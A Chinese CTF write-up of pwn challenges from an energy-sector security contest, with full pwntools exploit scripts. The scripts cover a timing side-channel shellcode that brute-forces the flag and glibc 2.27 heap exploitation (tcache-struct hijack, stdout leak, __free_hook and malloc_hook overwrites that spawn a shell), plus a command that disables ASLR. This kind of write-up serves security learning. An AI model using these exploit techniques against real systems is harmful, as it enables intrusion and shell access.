能源网络安全大赛pwn方向题解

先简单记录一下,明天还有bytectf,有时间了再好好复盘一下,arm pwn都没时间看。

babyshellcode

侥幸一血

程序分析

程序逻辑很简单,考点也清晰,就是orw然后侧信道爆破flag。没见过这种就很难想到,今年的蓝帽杯,强网杯都出过这个考点。有个注意的点就是这个read限制了大小,得绕一下。

利用思路

先写一段shellcode,read更多的字节,这样就可以把我们所有orw的shellcode写进去。由于程序开了沙箱,我们没法直接把flag打印出来。

方法1:用cmp byte ptr[rsi+{0}],{1};jz $-3;ret去判断内存中的flag值跟我们输入的值是否相等,若判断成功,就往跳转到它的上一条地址处执行,一直循环,这时候就可以通过p.recvline(timeout=1)看程序是否超时,如果超时则表明flag匹配成功。结束,接着爆破flag的第二位,以此往复。(这种可以是可以但是爆破太慢了)

方法2:不用jz指令了,换成ja指令二分法爆破

调试过程

绕过read大小限制

我在第一段read的时候又写了一段read的shellcode,read执行完下一跳指令地址是0x10015,所以把read的第二个参数设置成0x10015,第三个参数尽量大一点,那么就可以通过我们自己设置的read把shellcode写进去。

pwntools自带的shellcraft就可完成

1
p.send(asm(shellcraft.read(0, 0x10015, 0x100)))

侧信道爆破flag

肯定是要先打开文件然后才能读内容,所以第一部分shellcode肯定是open系统调用

那现在就是读呗,方便起见就把flag读到栈上好了

1
2
3
4
5
6
7
orw_payload = '''
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100
syscall
'''

下面部分就是重点了,read的第二个参数是rsi也就是存放了flag的地址,mov al, byte ptr [rsi]可以将flag的第一位放到al中,接着cmp al, 0x3f,如果flag的值大于0x3f就让程序跳转到比较的代码块中,也就是形成了一个死循环,下图是gdb调试的实例。设定一个超时异常处理就可以捕捉到这种死循环,接着下一个判断的就拿(0x3f+1+127)//2去跟flag的值做判断,了解过数据结构的二分查找就很容易理解,不多赘述了。一分多钟flag就跑出来了。

1
2
3
4
5
6
7
8
9
10
11
12
orw_payload += '''
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100
syscall
loop:
mov al, [rsi + %d]
cmp al, %d
ja loop
mov [rax], rax
''' % (i, mid)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
binary = './chall'
elf = ELF(binary)
libc = elf.libc

#gdb.attach(p)
flag = ''
for i in range(0, 0x30):
l = 0
r = 127
while l < r:
mid = (l + r) >> 1
local = 1
if local:
p = process(binary)
else:
p = remote('106.14.120.231', 24002)
# gdb.attach(p)

orw_payload = shellcraft.open('flag')
orw_payload += '''
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100
syscall
loop:
mov al, [rsi + %d]
cmp al, %d
ja loop
mov [rax], rax
''' % (i, mid)
p.send(asm(shellcraft.read(0, 0x10015, 0x100)))
p.send(asm(orw_payload))
st = time.time()
try:
while True:
cur = p.recv(timeout=0.05)
if time.time() - st > 1:
l = mid + 1
break
except EOFError:
r = mid
p.close()
flag += chr(l)
print flag

superchunk

脸黑,爆了我半个多小时才出,侥幸一血

程序分析

程序分析起来几乎没有任何压力,libc2.27的uaf,没有show(io_stdout来泄露libc),只能操作当前堆块(劫持tcache struct),和今年国赛的lonelywolf十分相似。

利用思路

先劫持tcache struct,没有show函数就没法泄露堆地址了,程序开了PIE,可以爆破4个比特,1/16的概率。

堆块布局如下,把chunk0->fd的低两位字节覆盖掉,2个字节就是4个16进制数,低3位是固定的,还有一个是随机的,需要爆破。

拿到tcache的控制堆块就可以为所欲为了,随便改了,后续操作就是泄露libc,打free_hook。

当然堆风水也需要慢慢调,下面简述一下劫持后的操作

让tcache struct放进unsorted bin里进行切割,切割后会留下unsorted bin的地址,然后再edit低两位字节,因为io_stdout的低3个16进制是固定的,需要爆破一个16进制数,概率1/16,再把stdout申请下来改成p64(0xfbad3887)+p64(0)*3 + p8(0)就可以泄露libc了。再后面就tcache attack了。

调试过程

调试过程关闭本机的地址随机化,命令:echo 0 > /proc/sys/kernel/randomize_va_space

劫持tcache struct

让tcache链表中有两个chunk,那么其中fd就会指向一个堆地址,这里我是用了double free。

1
2
3
4
add(0x100)
free()
edit('a'*0x10)
free()

再把chunk0的fd改成指向tcache struct,这样就劫持成功了,申请两次就能控制它了。

1
edit(p16(0x3010))

libc泄露

我们来逆向思考一下,没有show函数要泄露libc基本就是通过打io_stdout,要把它申请到那么它肯定得在bin里面,最常见的就是tcache bin和unsorted bin,unsorted bin是个双链表不好操作,但他的地址又是个libc中的地址,跟io_stdout十分接近。那么我们就可以构造一种情形,同样大小的一个chunk即在unsorted bin里又在tcache bin里,那么只要同样的操作把低两位字节改成io_stdout的地址是不是就把io_stdout链到tcache bin里了。

操作如下,接着劫持tcache_struct那部分,通过修改tcache_struct把0x250大小的tcache bin的数量改成6,那么再free tcache_struct,他就会进入tcache bin,并且对应的数量为7,再free一次它又进入了unsorted bin。即同一堆块即在tcache bin中又在unsorted bin中。

1
2
3
4
5
6
add(0x100)
add(0x100)
edit('\x00'*0x23 + '\x06')
free()
edit('a'*0x10)
free()

接着再切割一下,是不是就有很多unsorted bin的地址链到tcache bin里了,不过多解释,需要清楚tcache每部分的含义(不知道那你劫持它干啥)。

1
2
3
add(0x80) #备胎
free()
add(0x100)

再申请一个chunk进行编辑,可以发现正好是改的0xc0的tcache bin的fd

1
2
add(0x100)
edit(p16(0xe760))

那把它申请下来不就好了,libc到手,美滋滋

1
2
3
4
5
6
add(0xb0)
edit(p64(0xfbad3887)+p64(0)*3 + p8(0))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
success('libc_base -> {}'.format(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

后面就简单了,把备胎堆块申请下来,接着改tcache_struct,把free_hook链上去

1
edit('\x03' + b'\x00'*0x3f + p64(free_hook))

最后就一把梭了,不放图了。

exp

本地调试版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context.log_level = 'debug'

binary = './superchunk'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('106.14.120.231', 26744)
libc = ELF('libc-2.27.so')
elf = ELF(binary)
# libc = elf.libc

def add(size):
p.sendlineafter('choice: ', '1')
p.sendlineafter('Size: ', str(size))

def edit(content):
p.sendlineafter('choice: ', '2')
p.sendafter('Content: ', content)

def free():
p.sendlineafter('choice: ', '4')

gdb.attach(p)
add(0x100)
free()
edit('a'*0x10)
free()
edit(p16(0x3010))
add(0x100)
add(0x100)
edit('\x00'*0x23 + '\x06')
free()
edit('a'*0x10)
free()
add(0x80)

free()

add(0x100)
edit(p16(0xe760))

# pause()
add(0xb0)
# pause()
# gdb.attach(p)
edit(p64(0xfbad3887)+p64(0)*3 + p8(0))

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
success('libc_base -> {}'.format(hex(libc_base)))
# pause()
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x80)
edit('\x03' + b'\x00'*0x3f + p64(free_hook))
add(0x10)
edit(p64(system))
add(0x20)
edit('/bin/sh\x00')
free()
p.interactive()

远程爆破版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.log_level = 'debug'
binary = './superchunk'

def add(size):
p.sendlineafter('choice: ', '1')
p.sendlineafter('Size: ', str(size))

def edit(content):
p.sendlineafter('choice: ', '2')
p.sendafter('Content: ', content)

def free():
p.sendlineafter('choice: ', '4')

def exp():
# gdb.attach(p)
add(0x100)
free()
edit('a'*0x10)
free()
edit(p16(0x3010))
add(0x100)
add(0x100)
edit('\x00'*0x23 + '\x06')
free()
edit('a'*0x10)
free()
add(0x80)

free()

add(0x100)

edit(p16(0xe760))
# free()
# pause()
add(0xb0)
# pause()
# gdb.attach(p)
edit(p64(0xfbad3887)+p64(0)*3 + p8(0))

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
success('libc_base -> {}'.format(hex(libc_base)))
# pause()
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x80)
edit('\x03' + b'\x00'*0x3f + p64(free_hook))
add(0x10)
edit(p64(system))
add(0x20)
edit('/bin/sh\x00')
free()
p.interactive()


if __name__ == '__main__':
while True:
try:
local = 1
if local:
# p = process(binary)
p = process([binary],env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('106.14.120.231', 26118)
libc = ELF('libc-2.27.so')
exp()
break
except:
p.close()

loveheap

由于是calloc,所以比赛时候的思路是tcache stashing unlink attack,改global_max_fast,然后打fastbin attack,改malloc_hook为one_gadget。one_gadget试遍了,realloc调栈也试了,没出,可太难受了。

不知道这题的正解是什么,先把我的exp放出来,如果有师傅看到,希望可以指点一下(WeChat ID is verf1sh)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context.log_level = 'debug'
binary = './loveheap'
elf = ELF(binary)
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('106.14.120.231', 25777)
libc = ELF('libc.so.6')
def add(size):
p.sendlineafter('>>', '1')
p.sendlineafter('size\n', str(size))

def free(index):
p.sendlineafter('>>', '2')
p.sendlineafter('idx\n', str(index))

def edit(index, content):
p.sendlineafter('>>', '3')
p.sendlineafter('idx\n', str(index))
p.sendafter('content:\n', content)

def show(index):
p.sendlineafter('>>', '4')
p.sendlineafter('idx\n', str(index))

# gdb.attach(p)
add(0x100) #0

add(0x100) #1
free(1)
edit(1, 'a'*0x10)
free(1)
show(1)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))
edit(1, 'a'*0x10)
for i in range(5):
free(1)
edit(1, 'a'*0x10)

free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
rtld_global = libc_base + 0x237f68
golbal_max_fast = libc_base + 0x1eeb80
gadget = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = libc_base + gadget[0]
system = libc_base + libc.sym['system']
add(0x100) #2
for i in range(6): #3-8
add(0x88)
for i in range(6): #3-8
free(3+i)

add(0x200) #9
add(0x68) #10
add(0x200) #11
add(0x200) #12
for i in range(7):
free(12)
edit(12, 'a'*0x10)
free(9)
add(0x170) #13
free(11)
add(0x170) #14
add(0x200) #15
edit(11, b'a'*0x178 + p64(0x91) + p64(heap_base+0x990) + p64(golbal_max_fast-0x10))
add(0x88) #16
for i in range(7):
free(10)
edit(10, b'\x00'*0x10)
free(10)
edit(10, p64(malloc_hook-0x33))
add(0x68) #17
add(0x68) #18
edit(18, b'a'*0x1b + p64(one_gadget) + p64(realloc))
# pause()
add(0x10)

p.interactive()

darkdark

不会ret2dlresolve,使用pwntools的模板打了几发,应该是姿势不对,告辞!!!